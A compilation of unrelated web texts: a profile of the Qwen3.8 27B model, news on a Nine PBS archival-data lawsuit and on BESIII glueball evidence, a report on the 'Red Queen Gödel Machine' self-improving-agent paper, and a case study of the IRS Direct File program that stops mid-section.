Qwen3.8 27B was released on August 14, 2026.

Who created Qwen3.8 27B?

Qwen3.8 27B was created by Alibaba.

How intelligent is Qwen3.8 27B?

Qwen3.8 27B scores 52 on the Artificial Analysis Intelligence Index, placing it well above average among other open weight models of similar size (median: 9).

How verbose is Qwen3.8 27B?

When evaluated on the Intelligence Index, Qwen3.8 27B generated 160M output tokens, which is at the higher end compared to other open weight models of similar size (median: 43M).

Is Qwen3.8 27B a reasoning model?

Yes, Qwen3.8 27B is a reasoning model. It uses extended thinking or chain-of-thought reasoning to work through complex problems before providing an answer.

What input modalities does Qwen3.8 27B support?

Qwen3.8 27B supports text and image input.

What output modalities does Qwen3.8 27B support?

Qwen3.8 27B supports text output.

Can Qwen3.8 27B process images?

Yes, Qwen3.8 27B supports image input and can analyze, describe, and answer questions about images.

Is Qwen3.8 27B multimodal?

Yes, Qwen3.8 27B is multimodal. It can process text and image input and generate text output.

What is the context window of Qwen3.8 27B?

Qwen3.8 27B has a context window of 260k tokens. This determines how much text and conversation history the model can process in a single request.

Is Qwen3.8 27B open source?

Yes, Qwen3.8 27B is open weights. The model weights are publicly available and can be downloaded for self-hosting.

How many parameters does Qwen3.8 27B have?

Qwen3.8 27B has 27 billion parameters.

What is the license for Qwen3.8 27B?

Qwen3.8 27B is released under the Apache 2.0 license. This license allows commercial use. View license

How does Qwen3.8 27B perform on benchmarks?

Qwen3.8 27B achieves a score of 52 on the Artificial Analysis Intelligence Index. This composite benchmark evaluates models across reasoning, knowledge, mathematics, and coding.

Is Qwen3.8 27B available via API?

Qwen3.8 27B is an open weights model that can be self-hosted. View providers

Where can I use Qwen3.8 27B?

Qwen3.8 27B is an open weights model that can be downloaded and self-hosted. Compare providers

A Denver District Court judge set a process for Nine PBS to retrieve its archival data and programming from Iron Mountain Data Centers during a Wednesday hearing.

The St. Louis station sued the information management company July 28 in Denver District Court seeking the return of approximately 50 terabytes of archival material stored in a Denver data center.

The complaint alleged that Iron Mountain refused to return Nine PBS’ materials because OSS, the now-defunct company that the station had contracted with for storage services, technically owned “the physical services housing” the station’s data within Iron Mountain.

District Court Judge Eric Elliff ordered Iron Mountain, which had a separate business relationship with OSS, to cooperate with Nine PBS in any way possible to retrieve the data. He found that the station is the rightful owner of the materials and entitled to recover them from OSS’ storage systems.

Under his order, Nine PBS is to identify a third-party vendor, such as a former OSS employee, who can assist in accessing and retrieving the data from the infrastructure that’s housed in Iron Mountain’s center within 30 days.

Elliff acknowledged the complexities of Iron Mountain’s position as a vendor to OSS, which, according to Nine PBS’ complaint, is in delinquency. Iron Mountain is the “custodian” of Nine PBS’ data, but it isn’t the vendor that contracted with the station to store and preserve its data. That obligation remains with OSS. Under the order, Nine PBS will pay Iron Mountain current and past-due fees for data storage, starting from when OSS stopped paying Iron Mountain for use of its data storage facility.

In a statement to Current, Nine PBS VP and CCO Leah Freeman expressed gratitude to the court for providing a framework for the data retrieval.

“We appreciate the Court’s thoughtful decision establishing a path forward to access and recover our archival materials, which the Court confirmed that Nine PBS rightfully owns,” Freeman said. “These archives represent an important part of our region’s history, and we look forward to ensuring their preservation and protection through the Court-approved process.”

During the hearing, Gregory Rich, an attorney representing Nine PBS, said the station seeks access to a physical cage where the data is housed within Iron Mountain’s facility. The station is in contact with a former OSS employee who is willing to help obtain the data. The attorney noted that the data could potentially be stored in physical form, such as tapes that could be easily retrieved. But if the materials are on a server, Nine PBS could lose the materials forever if Iron Mountain shuts it down.

William Cravens, the attorney representing Iron Mountain, told the judge his client doesn’t know the format of Nine PBS’ materials that were stored by OSS. He expressed concern about whether Nine PBS’ archival material is lumped together with data from other OSS clients. Iron Mountain wants to avoid potentially corrupting the other data, Cravens added.

Elliff ordered the immediate return of any physical devices that hold Nine PBS’ data once access to OSS’ storage system is granted. If data retrieval turns out to be more complicated — if it is encrypted, for example — he will schedule another hearing to determine how to proceed.

Once Nine PBS retrieves its data, the station must work with a third party to ensure that no data from other OSS customers is among those materials.

Nine PBS’ complaint includes a list of the files that make up its 50 terabytes of data. Elliff ordered the parties to compare that list to the files recovered from OSS storage once the data is retrieved.

He also ordered Nine PBS to defend and indemnify Iron Mountain should other data be corrupted in the process of retrieving its archival materials.

The judge ordered both parties to provide updates on the data retrieval process by Sept. 14.

Scientists have been predicting the existence of a particle made of gluons for a long time, but detecting it has taken decades.

Glueballs are made of gluons, which bind quarks to form protons and neutrons. Credit: Sefa kart/Getty

After almost two decades of searching, a team of physicists in China says it has observed strong evidence of a mysterious particle called a glueball, which is made entirely of force-carrying particles.

Researchers at the Beijing Spectrometer III (BESIII) Collaboration, an international particle-physics experiment, presented their results at the International Conference on High Energy Physics in Natal, Brazil, last week. They say that a particle known as X(2370) — which was discovered in 2011 — is mostly made up of glueballs. These are clusters of gluons, the elementary particles that bind quarks to form protons and neutrons and hold them inside the nucleus of an atom.

There is no single smoking gun that proves that this particle is made of glueballs, says Bruce Yabsley, a particle physicist at the University of Sydney in Australia, who has reviewed the results from BESIII. But looking at the cumulative evidence built over decades makes the current findings “quite persuasive”, he adds.

“It is quite convincing evidence,” adds Ulrik Egede, an experimental particle physicist at Monash University in Melbourne, Australia, who saw the conference presentation.

The discovery of glueballs would provide direct evidence that gluons can interact with themselves, researchers say. This is a key prediction of quantum chromodynamics — the theory describing quarks and gluons.

Observation of glueballs can also improve physicists’ understanding of the origin of mass itself, says Yabsley. Although protons are made of quarks, the sum of the masses of those quarks does not add up to the total mass of a proton. Gluons are massless, but strong interactions between them must create mass, he says.

Hunting for glueballs

BESIII, which runs at the Beijing Electron–Positron Collider II at the Institute of High Energy Physics (IHEP), Chinese Academy of Sciences, is uniquely placed to observe glueballs. The experiment started in 2008 and is designed to study collisions between electrons and positrons, which can create short-lived particles that are predicted to decay into glueballs.

Yanhping Huang, a particle physicist at the IHEP, says that she identified X(2370) when she was a PhD student.

“At that time it was quite exciting for us,” Huang says. X(2370) was suspected to contain glueballs because it was the first particle with a mass that is consistent with a specific type of glueball predicted by quantum chromodynamics, she adds.

It was also notable that X(2370) was detected when a heavier particle known as a J/ψ meson broke down. Theory has suggested that the decay of a J/ψ particle is the golden place to search for glueballs, says Shan Jin, a particle physicist at Nanjing University in China, who presented the results at the conference. BESIII can produce vast numbers of J/ψ particles, enabling researchers to study their decays.

But that evidence was not enough to rule out X(2370) being made of other types of particle, says Yabsley.

For 13 years, Huang and other scientists at the BESIII Collaboration have been poring over data from nearly ten billion J/ψ decays. Finally, in 2024, they determined the particle’s spin parity, a quantum number that describes how a particle behaves1.

That result showed that X(2370) is a ‘pseudoscalar’ particle, with a spin parity of 0−+, which was consistent with predictions of the lightest glueball.

But it still wasn’t enough. Many particles can have similar properties, says Jin.

References

1. Ablikim, M. et al. Phys. Rev. Lett. 132, 181901 (2024).
   Article PubMed Google Scholar

2. BESIII Collaboration. Preprint at arXiv https://doi.org/10.48550/arXiv.2607.20366 (2026).

At a time when there's keen public interest in AI that can make itself better, researchers here have tackled one of the central challenges affecting its development.

The research team, which includes collaborators from NVIDIA and Flower Labs, have come up with a new method for recursive self-improving AI agents to continue improving themselves (by repeatedly testing and enhancing their own code) without hitting the evaluation ceiling that they frequently encounter.

Their method also suggests a way of cutting the costs of the computational resource needed for the development of such AI agents.

While agents can already improve themselves by editing their own code, testing variants, and keeping changes that perform better, this process is usually limited by a fixed evaluator, benchmark, or test suite. Once the agent has learned everything that fixed signal can distinguish, improvement slows or stalls.

"A self-improving agent can only get as good as the test that scores it," explains team member Alex Iacob, a PhD student in the Machine Learning Systems Lab under the supervision of Prof Nic Lane. "The test does not merely measure progress, it defines it, so the efficacy of the test becomes a ceiling the agent cannot climb past."

Now the researchers have addressed this issue by having both the self-improving agent and the evaluator evolve together. "Instead of improving an agent against a fixed test, we let the evaluation evolve alongside the agent," Alex adds. "As the agent gets better, the evaluation also gets harder, and the bar keeps rising."

The Red Queen Gödel Machine

Alex is the first author on the pre-print paper the research team has just uploaded to arXiv. The Red Queen Gödel Machine: Co-Evolving Agents and Their Evaluators shares the technical details of their work, along with some impressive results from using this framework across a number of tasks.

In both scientific paper writing and reviewing, and (Maths) Olympiad-level proof writing and grading, the Red Queen Gödel Machine improved performance over previous self-improving AI agents.

"Co-evolved scientific paper writers reach 1.78×–1.86× higher acceptance rates under a diverse agent-as-a-judge panel," report the researchers in the paper, "while co-evolved graders reach 9% higher ground-truth accuracy."

The Red Queen hypothesis

The framework's curious title references the Red Queen – a fictional character in Lewis Carroll's children's novel, Through the Looking-Glass – who famously tells Alice, the novel's heroine, that "it takes all the running you can do, to keep in the same place." The Red Queen hypothesis, a hypothesis in evolutionary biology put forward in 1973, was named after the character as it proposes that species must constantly adapt, evolve, and proliferate in order to survive while pitted against other species that are also continually evolving.

This hypothesis has now been applied to AI.

"Instead of improving an agent against a fixed test, we let the evaluation evolve alongside the agent. As the agent gets better, the evaluation also gets harder, and the bar keeps rising."

Alex Iacob, PhD student

The work was carried out by a team of researchers here and with the support of collaborators including NVIDIA, Departmental spin-out Flower Labs, MBZUAI and Inria.

A path towards more capable open agent systems at lower cost

And another key finding that emerged was that using open source models to carry out some of the work, in addition to computationally expensive tools like ChatGPT, could be a way of significantly lowering the costs of developing self-improving AI systems.

In one experiment by the researchers, to co-evolve AI reviewers and writers of scientific papers, the researchers used the NVIDIA Nemotron 3 Ultra, alongside ChatGPT-5.5. In the paper-reviewing task, this hybrid setup approached the performance achieved by ChatGPT on its own, while reducing search-token costs by around 13 times.

Co-author Professor Nic Lane says: "This is a narrow result, and we should be careful not to overstate it. But it also indicates where this method can go. If open models can carry the bulk of the search while stronger frontier models guide the higher-level improvement process, then we have a plausible path toward much more capable open agent systems at far lower cost."

And Daniel Burkhardt, Developer Relations Manager at NVIDIA, says: "This effort shows how open models can play an important role in advanced agentic systems. NVIDIA Nemotron models are designed to be efficient and capable for reasoning and agent workloads, and this work shows how they can be used as part of a broader self-improvement loop."

The research team is at pains to point out that the work is preliminary, and that longer search horizons will be needed to understand how far the approach can scale. But the results point to a new class of self-improving systems in which agents and evaluators recursively bootstrap one another, opening a path toward more capable, efficient and open agentic AI.

The paper, The Red Queen Gödel Machine: Co-Evolving Agents and Their Evaluators, is available on arXiv. The underlying method will be open sourced to support wider adoption, while the team continues to investigate how this self-improving approach performs across a broader range of AI tasks, including experiments being scaled significantly beyond these initial results.

• The Red Queen Gödel Machine: Co-Evolving Agents and Their Evaluators: Alex Iacob, Andrej Jovanović, William F. Shen, Daniel Burkhardt, Meghdad Kurmanji, Nurbek Tastan, Lorenzo Sani, Niccolò Alberto Elia Venanzi, Ambroise Odonnat, Zeyu Cao, Bill Marino, Xinchi Qiu, Nicholas D. Lane

Executive Summary

In 2024, the IRS launched Direct File — the first free, government-run online tax filing service in U.S. history. In its two filing seasons, more than 400,000 Americans filed their taxes directly with the IRS at no cost, with 94% rating the experience as excellent or above average. Then DOGE shut it down.

Direct File’s story is not primarily about tax policy. It is about what happens when determined leaders decide that government can deliver world-class digital services, and then actually do it and do it well.

When the Child Tax Credit (CTC) expanded in 2021, it became clear that safety net programs delivered through the tax code could only reach the most vulnerable if filing itself became simpler: free, straightforward, and free of intermediaries.

Direct File was not a Presidential campaign promise, nor mandated by Congress; rather, it was an idea whose time had come and proof that government can deliver excellent digital services. It also demonstrated that, after several failed government launches, government was capable of building an in-house team, rewiring the IRS operating model, and having a successful launch, all within a matter of months.

The Direct File team set its own pace and ways of working, drawing on USDS experience, IRS tax expertise, and private-sector methods to develop an approach largely unprecedented in US government service delivery. In doing so, Direct File paved a new way for future government leaders to deliver bold, user-centered products.

Direct File succeeded not simply because taxpayers used it and loved it, nor only because the team that built it set a new standard for government technology. It succeeded because it helped rebuild something more fundamental: public trust in government’s ability to serve its citizens.

Though Direct File was shuttered in 2025, its open-source code, its methods, and its lessons remain. This case study documents the leadership lessons and opportunities for future leaders.

This case study and accompanying playbook was produced as part of UC Berkeley’s Executive Fellowship in Applied Technology Policy, between June 2025 and February 2026. It is authored by Merici Vinton and two research assistants, Melanie Girod and Omar Morales. To develop the case, they spoke to 15 senior government officials from both the executive and legislative branch, as well as Direct File teammates.

Everything on the line

It was September 21, 2023. The Direct File leadership team, including Bridget Roberts, Merici Vinton, Chris Given, Amy Paris, and Steve Leibman sat down for their weekly meeting with IRS Commissioner Danny Werfel. Every Thursday for months, they had gathered in his office to report progress on building Direct File, a new software platform that would allow U.S. taxpayers to file their tax returns directly to the IRS, at no cost. The team had cultivated a strong relationship with the Commissioner, who had grown increasingly supportive over time. But today would test that trust.

The night before, as the Direct File team celebrated the end of their on-site over happy hour, the Direct File leadership team was somber. Just hours prior, Direct File engineers had reported that the product was headed for disaster and meeting the January launch date would be impossible. The leadership team was resolute: “We can’t not launch, too much is at stake.” However, as they discussed options, the facts were clear: Direct File engineers had been unable to deploy the product on IEP, the IRS cloud infrastructure, for weeks. They had worked tirelessly to develop a functioning pilot outside the IRS’s outdated systems, and IEP was a critical step to bring it within the IRS cloud. Adding to the pressure, the White House, the Treasury Department, and the IRS were planning a press announcement the following week, the first public update with details on the IRS’ first-ever online tax filing pilot since it was announced in May 2023. Now, with little confidence of success, the press announcement would have to be postponed. The next 12 hours would prove pivotal or Direct File, the IRS, and the wider civic tech community. Indeed, there was a lot at stake.

As Commissioner Werfel settled into his chair that morning at the IRS headquarters in Washington, DC, he had no idea this routine meeting would become one of the most consequential moments for the development of the free tax service. The team broke the news, the press announcement was postponed, and a new race against time began to get Direct File operational on IRS systems before the start of the 2024 tax season in January. The path to production that followed set the team on a sprint to get the platform ready for launch and maintain the trust and support of the decision-makers, from the IRS to the White House, who had invested years in making Direct File a reality.

Under intense pressure and scrutiny, the team pressed forward. They adapted their approach, evolved their working methods, and launched into a sprint to make Direct File ready for American taxpayers. The decisions made that day built a platform that served American taxpayers for two years - until it ran counter to DOGE’s priorities and was shut down.

Background

The Basics of Direct File

Task force to design an IRS-run free ``direct efile’’ tax return system…a report on (I) the cost (including options for differential coverage based on taxpayer adjusted gross income and return complexity) of developing and running a free direct efile tax return system, including costs to build and administer each release, with a focus on multi-lingual and mobile-friendly features and safeguards for taxpayer data; (II) taxpayer opinions, expectations, and level of trust, based on surveys, for such a free direct efile system.

Passage from the Inflation Reduction Act, passed by Congress in August 2022

On August 16, 2022, Congress passed the Inflation Reduction Act (IRA), including an $80 billion package for the IRS to modernize its processes and get the agency out of its COVID backlog. As part of this legislation, Section 10301(1)(B) directed the IRS to establish a task force to prepare a report for Congress by May 2023 about the feasibility of a free, IRS-run direct filing system.

In addition to writing the congressionally mandated report, the IRS produced a prototype. That prototype is what became the IRS’s new tax filing service, Direct File, which opened to taxpayers in January 2024. Direct File provided eligible taxpayers with an accurate, secure, and electronic way to file their taxes directly with the agency, free of charge. The project was a collaborative effort across the IRS, the U.S. Digital Service (USDS), 18F, the General Services Administration’s tech and design consultancy, as well as two small business contractors.

When it launched, taxpayers found something rare: a government digital service that they loved. The project’s strong public support stemmed from its taxpayer-centered design, which prioritized usability, accessibility, and clarity. This paid off: Direct File successfully established trust with the public, as evidenced by exceptionally high satisfaction and Net Promoter Scores (NPS): 94% of users rated Direct File as excellent or above average, and it maintained an NPS of +80, significantly higher than the average NPS of +52 for private tax preparation software. It also achieved something few believed could be done: it increased taxpayers’ trust in government. Not only were users satisfied, but 86% of them said that using Direct File increased their trust in the IRS.

Direct File served taxpayers for two filing seasons, before being shut down by the Trump administration and the Department of Government Efficiency (DOGE) in November 2025.

Direct File was an idea whose time had come. Then-President Biden didn’t campaign on free tax filing, nor did Congress mandate its launch. But it was a service that people wanted and expected from their government, and the IRS delivered. Direct File showed taxpayers that the government can meet their needs, and showed the government itself that it was capable of delivering complex software.

Industry Resistance to Direct File

The path to Direct File was shaped by decades of resistance from the private sector. Companies like Intuit and H&R Block spent millions annually on federal lobbying to block free public filing tools, even though the U.S. tax system is considered one of the most complex and burdensome in the world. In 2002, the private sector secured the Free File program (FFP), a partnership through which tax software platforms promised free services for low-income taxpayers in exchange for the IRS agreeing to stay out of the tax software market.

The clause was removed when ProPublica revealed in 2019 that FFP members had been deliberately hiding free services and upselling users, resulting in less than 2% of eligible taxpayers actually benefiting. Under mounting scrutiny and public pressure, H&R Block and Intuit exited the FFP in 2020 and 2022, effectively rendering the partnership obsolete.

Today, the FFP is widely viewed as the industry’s attempt to strategically delay and prevent Direct File. The private sector’s failure to deliver on its promises revived the case for a public alternative. However, political reluctance to openly support Direct File prolonged the status quo.

Benefits and Administrative Burden

Despite industry lobbying, free, government-provided tax filing had its cheerleaders. The U.S. tax system is considered to be one of the most complex and burdensome in the world: average individual taxpayers spent nine hours and $150 to file their 2023 tax return, while many Direct File users completed the process in under 30 minutes for no cost. Advocates of Direct File were driven by a simple idea: as Direct File Product Owner Chris Given explained, “Taxes are hard, they should be easier. How can we make it less burdensome and increase trust?”.

For many, Direct File addressed the longstanding lack of a free public filing option in the United States — a service that was already a standard in most of the world. Indeed, most developed nations, from Australia to Sweden, have such an option for taxpayers, and most of them offer pre-filled returns, requiring no action on behalf of taxpayers to fulfill their obligation. Direct File also addresses equity: because much of the U.S. safety net runs through refundable tax credits like the Earned Income Tax Credit (EITC) and Child Tax Credit, ensuring low-income taxpayers can file for free is essential. Finally, providing a free, public filing option also aligns with the IRS’s mission to expand access alongside programs like the IRS’ Volunteer Income Tax Assistance (VITA) initiative for low-income taxfilers, as well as enabling taxpayers to file on paper forms.

Avoiding another healthcare.gov

The lack of political will stemmed in part from one of the central arguments against Direct File: that the government was not in the business of building products, and it was typically bad at it anyway. The team had to repeatedly persuade Biden-appointed political leadership of the value that the tool could deliver and convince them that building in-house capacity would lead to a product that users would love.

The shadow of Healthcare.gov amplified the skepticism. The platform’s 2013 launch was a spectacular failure: plagued by bugs, only six people signed up on the first day. Costs ballooned to $2.1 billion, as the Obama Administration had to bring in a crisis team of experts to salvage the rollout. Healthcare.gov became a cautionary tale proving that high-scale, high-stakes government digital projects are simply too risky to attempt.

The scars ran deep. Politicians and appointees were reluctant to put their reputation at risk by endorsing government-led digital initiatives. Inside agencies, Healthcare.gov slowed modernization efforts due to fear of another failure, further eroding public trust. Ironically, since Healthcare.gov’s failure was largely due to over-reliance on external contractors and rigid government procurement processes, no significant changes have been put in place in the ensuing years, and federal agencies still largely outsource the majority of their IT workforce and products.

The Long Road to Direct File

April 2021–August 2022: How the Child Tax Credit Paved the Way for Direct File

A free, government-run tax filing service remained elusive until 2021, when the American Rescue Plan Act expanded the Child Tax Credit (CTC), making the tax credit fully refundable for the first time. This created a policy challenge: low-income families who needed the credit most typically had no filing obligation, meaning they would not file returns. The complex and expensive filing process put the benefit at risk of never reaching them.

Senior Biden officials recognized the need for a simplified filing tool, but political concerns about Healthcare.gov and industry lobbying made them reluctant to build one themselves. Instead, their implementation efforts were buttressed by a USDS team, led by Merici Vinton, who supported with outreach, as well as a non-profit partner, Code for America, which created GetCTC.org, a free, mobile-friendly platform available in English and Spanish that allowed non-filers to claim their CTC without filing a full return.

GetCTC.org demonstrated to White House officials that taxpayers were willing to use free, simple, easy-to-navigate tax filing services, which helped to set the stage for Direct File.

September 2021–August 2022: The Policy Process: Taking an Idea and Turning into a Policy Priority

Even after the success of GetCTC.org, Direct File implementation was delayed due to hesitant leadership and lack of clear, decisive decision-making. As Jason Miller, then-Deputy Director at the OMB, said, “We took 18 months to examine the problem. We should have started a year earlier”.

During that time, stakeholders across different agencies were meeting and discussing Direct File. The outcome: many memos, from the National Economic Council (NEC) at the White House, to OMB and Treasury, but no decision in sight. These agencies, under the auspices of the Interagency Policy Committee (IPC), set out to identify relevant policy considerations and explore paths to executing a free tax filing service. But the talks could not overcome the slow-moving process and the absence of political commitment to build Direct File.

Moreover, external events came to disturb and further delay this already slow process. The White House was consumed with President Biden’s Build Back Better agenda, which included $80 billion in IRS funding. When the Build Back Better bill collapsed in December 2021, Direct File’s future became even more uncertain. To add to the inertia, the Russian invasion of Ukraine at the end of February forced the Department of Treasury to redirect its attention to the implementation of sanctions against Russia, giving reluctant stakeholders cover to sideline Direct File discussions.

Despite a lack of forward political momentum, the U.S. Digital Service (USDS) team carried out foundational work during this period that moved both stakeholders and the product concept itself forward. USDS was a team of technologists in the White House that were deployed to key initiatives across the government. In many policy situations, it is standard for government policy leaders to make a decision without heavy consultation of technologists or user experience professionals. But the USDS team knew that approach would lead to potential disaster: when it came to a potential new tax product, experience was just as important as policy and, in fact, the policy would fail if it had a poor user experience. They produced the first demo and user journey, which brought the product to life for key stakeholders. Many were expecting a minimally designed experience or, as one stakeholder said, “I would be fine with an online PDF of the 1040.” Instead, the early question-based flow, which was very similar to the final product, was produced to demonstrate that taxpayer experience was integral to the execution of the product itself. The team wanted to show an experience so excellent that it would be difficult for stakeholders to say no.

At the end of May, White House leadership declared Direct File a priority, but without IRS buy-in, progress ground to a halt. In July 2022, the entire USDS team was dismantled. The absence of clarity made the work highly unstable for the Direct File team. For a while, as Direct File Deputy Merici Vinton described, the team’s motto was a reference to the film “The Princess Bride”: “Good night, good work, I’ll most likely kill you in the morning” due to uncertainty around the project.

Just when the team thought it was over, things dramatically changed and, once again, Direct File had a chance.

With the IRA, the IRS Takes Over

August 2022–May 2023: Report to Congress and Prototyping

With the passage of the Inflation Reduction Act (IRA), the IRS was finally given congressional mandate to explore development of Direct File. Additionally, the Treasury Department became actively engaged in the process: the IRS received $80 billion through the IRA, raising expectations for meaningful results. The IRS developed a strategic operating plan (SOP) to guide the new funding and strategic direction, and asked the USDS to provide technical expertise and guidance on the taxpayer experience throughout the strategic planning process. IRS executives oversaw various SOP workstreams, including the Deputy National Taxpayer Advocate, Bridget Roberts, who was tasked with reimagining taxpayer services.

Initially, the planning assumption was that the IRS would spend the $15 million to procure a vendor to write the congressionally mandated report and perform a quantitative survey to assess taxpayer opinion. But Roberts and the USDS team had a different proposal: instead of understanding taxpayer opinion in abstract, the IRS should use the $15 million to build a prototype to put in front of users to tangibly and qualitatively gauge taxpayer opinion, adjacent to a traditional survey. IRS and Treasury agreed, and eventually appointed Roberts as the Direct File Service Owner.

Game-changing decision: The decision to use the $15m from Congress to build a prototype, as well as deliver a report, meant the team could start getting feedback from users as early as possible to understand “taxpayer interest,” as well as use this time to explore different product and engineering concepts. This early prototype became the foundation of what would become the product on launch day.

This was a critical decision point for the product. With the proposal approved, between August 2022 and May 2023, a small team at the IRS started working on the prototype and drafting the report to Congress. User research was conducted thanks to four sources of information. First, the IRS leveraged its annual Taxpayer Experience Survey (TES) to inquire about a potential free e-filing program. Second, the team incorporated a MITRE survey about taxpayer opinion on tax software. Third, an independent analysis was carried out to understand the overall feasibility of the project. Finally, significant formative user research and usability testing was conducted during the development of the internal prototype.

All insights collected during this period led to the same conclusion, as highlighted in the report delivered to Congress in May 2023: there was clear public interest in a government-run e-file system. Indeed, 45% of taxpayers said they were “somewhat interested” in using Direct File, and 28% said they were “very interested.” The ability to file for free while bypassing third parties was important to many users. The report also highlighted some of the challenges to bringing Direct File to life. The IRS needed ongoing appropriate funding to develop in-house technical expertise and expand its customer service capabilities. Some operational hurdles would also need to be cleared, such as coordination with state tax agencies.

Despite the challenges, support for Direct File was growing within the Treasury Department. Danny Werfel, who was appointed Commissioner of the IRS in March 2023, and Janet Yellen, the Secretary of the Treasury, were among the supporters. Following the release of the feasibility report in May 2023, Secretary Yellen directed the IRS to launch a Direct File pilot during the 2024 tax filing season. The Direct File team was finally receiving the leadership buy-in it needed to move from research to implementation. It was May 16th, 2023, and tax filing season would begin in January 2024. It was a race against the clock to launch the pilot on time for the following tax season.

Countdown to Launch

May 2023–September 2023: Building a New Service in a Bureaucracy

In May 2023, the Direct File team faced an uphill climb. They had leadership support — some leaders later admitted they wished they had given their support sooner — but no time to waste. The stakes could not have been higher, yet they had to build in a complex environment where key policy decisions required negotiation across the IRS, Department of Treasury, and OMB.

Tax Scope

The first question was “tax scope”: which returns could Direct File support? From the White House down to the Direct File team, there was a strong conviction that the platform should be available to everyone, with no income cap. But some financial situations are more complex than others, and the team had to find a realistic scope that still covered as many Americans as possible. They landed on an ambitious scope: the software would be usable by U.S. residents with any filing status, using the standard deduction, with potential dependents, reporting wages, interest of $1,500 or less, unemployment compensation, and Social Security benefits. Eligible users could also claim the Child Tax Credit (CTC), the Earned Income Tax Credit (EITC), Credit for Other Dependents, the student loan interest deduction, and the educator expenses deduction. With this scope, the estimated eligible population across 12 pilot states was about 15.4 million — more than 10% of U.S. taxpayers.

State Integration

State integration was the next challenge looming over the pilot. A federal-only system would be inefficient and unattractive for taxpayers, forcing them to effectively enter the same information twice. The team found a path that would import, with the taxpayers’ consent, information submitted to Direct File directly into a state tool. Despite the strategic importance and high risk of failure, the IRS had established no similar prexisiting partnerships with states, nor could it rely on any previous work to get this done.

Working first with states that had no state income tax — Florida, Nevada, New Hampshire, South Dakota, Tennessee, Texas, Washington, and Wyoming — was low-hanging fruit, as no technical integration was required. For states with income tax, it was essential for the pilot to integrate with at least one state to demonstrate the overall viability of Direct File. The IRS invited all states to participate, and four states with state income tax had the capacity to join: Arizona, California, Massachusetts, and New York. Arizona, New York, and Massachusetts connected via a new Direct File state API, and California used a PDF import method.

Compliance, not Outcomes

Facing skepticism inside the IRS, the team was forced to lean into risk management, sometimes to a fault. The tension between those ready to embrace risk and those determined to minimize it was constant. Engineers spent significant time on compliance paperwork, a reflection of the slow-moving realities of institutions, even as the clock kept ticking.

Often, the team’s greatest challenge was not technical, but bureaucratic. Suzanne Chapman, who became the IRS’s Director of User Experience, knew that the project’s success depended on getting the work-in-progress product into users’ hands as often as possible to create short feedback loops, and pivot strategy where necessary. But the IRS research approval process took up to six weeks per study, a pace incompatible with the team’s rapid, iterative methods. As Service Owner, Bridget Roberts escalated the team’s concerns to Commissioner Werfel, and a new path forward was found that would allow the team to operate on its rapid schedule, shortening the timeline to 10 days. As a result, the team engaged with 195 taxpayers in interviews and usability testing. The direct line to users became a cornerstone of Direct File’s success.

Creating a Best-in-Class Customer Support Team

The Direct File team knew they needed to have not just an excellent product, but also an excellent customer support experience, with trained agents that could answer user questions in the same tone that felt similar to using the Direct File product itself. The team set up a unique operating model: they brought the customer support representatives (CSRs) onto the Direct File team, reporting to Bridget Roberts. This model not only benefited users, but also the product itself: by sitting alongside the product team, the customer support agents created a seamless feedback loop, flagging questions or issues that users had in real time directly to teammates who could fix those issues.

The IRS also decided to pilot Live Chat for all Direct File inquiries; it was the first time that the IRS used this channel at this scale. They brought on nearly 400 IRS customer support agents to support the product during filing season.

September 2023: Four Months Until Launch: Breaking the Glass

The team was making fast, meaningful progress. Leadership was all-in, a talented group had been assembled, the scope had been defined, user research was under way, and a functional, high-quality pilot was taking shape. Momentum was so strong that Treasury and IRS were going to announce exciting details about the pilot, including eligibility. But in September 2023, technical realities were about to catch up.

In mid-September, the entire Direct File team gathered for an on-site meeting at the IRS office, flying in staff from across the country. They had managed to create a working prototype that impressed everyone who saw it. The platform had a clean design, clear content, and worked flawlessly —on the team’s own cloud infrastructure. It would now have to be deployed on the IRS’s infrastructure. It was a critical, make-or-break milestone.

However, the engineering team, led by Steve Leibman, were not confident that they could deploy the software on the IRS systems as needed. The IRS’s Integrated Enterprise Portal (IEP), nor the policies that surrounded it that governed its use, was not built for products like Direct File. IEP was Accenture’s vendor-run cloud environment, and the Direct File team had been working for weeks, unsuccessfully, to gain access to be able to deploy to the IRS environment.

There was also a cultural divide. The Direct File team, heavily influenced by standard software development and agile practices, ran into the IRS IT team’s rigid timelines and sequential processes, meaning that the deployment was not possible to complete in less than a couple years. At the IRS, deployment meant navigating never-ending compliance documents, security assessments, and risk-management frameworks. Coordination with the external contractors who operated parts of IEP was slow and inefficient. Paperwork was stacking up, consuming more and more of Ryan Ahearn’s time, leaving little room for the engineering work he had been hired to do.

At the end of the offsite, Ahearn and a small group gathered in the Secretary of War Suite at the Eisenhower Executive Office Building. Ahearn and the engineers exposed the team to the roadblocks they were facing: deploying on IEP, a vital prerequisite to getting the Authority to Operate (ATO), felt increasingly out of reach. Alternatives were brainstormed, like deploying on Cloud.gov instead. But for technical and political reasons, there was only one path forward, and the path would be bumpy, if not totally blocked: they had to deploy on IEP.

That night, as the team relaxed over a happy hour, Chris Given delivered the news to Bridget Roberts: on the current path, there was no way Direct File could launch in January 2024. The tension was high. For months, Vinton, Given, and Roberts had reassured Commissioner Werfel that the pilot was on track. They were about to blindside the Commissioner and challenge the trust that had been built over time.

Leadership in action: Jason Miller immediately understood the severity of the situation and cleared his calendar to discuss options and next steps with Merici Vinton. This was a key moment, as it established both accountability for delivery and trust and transparency between the project and one of its key stakeholders.

Miller then went on to explain the situation to other White House stakeholders to ensure that the team would be given the top cover, space, and time they needed to address the issue.

Vinton and Miller had begun their collaboration a few months prior when they established a 15 minute, bi-weekly check in; Vinton asked Miller if “it would be good to establish a working relationship and learn how to communicate while things are good, just in case they go bad and we need to work together.”

As it turned out, that was a good idea.

The following morning, on September 21, 2023, they sat down with the Commissioner, uneasy. Roberts recommended delaying the press announcement, as the team no longer had confidence in a filing season launch. It was a blow not only for the team but also for the Commissioner, Treasury, and the Biden Administration. Vinton called Jason Miller at OMB to discuss the situation, as well as Bharat Ramamurti at the NEC. With the IRA’s $80-billion investment, they needed tangible results to show the public. Direct File was the result they needed and hoped for. The press announcement had to be postponed.

Despite the setback, the team rallied and embarked on a sprint to keep Direct File alive.

September–October 2023: The Sprint Forward

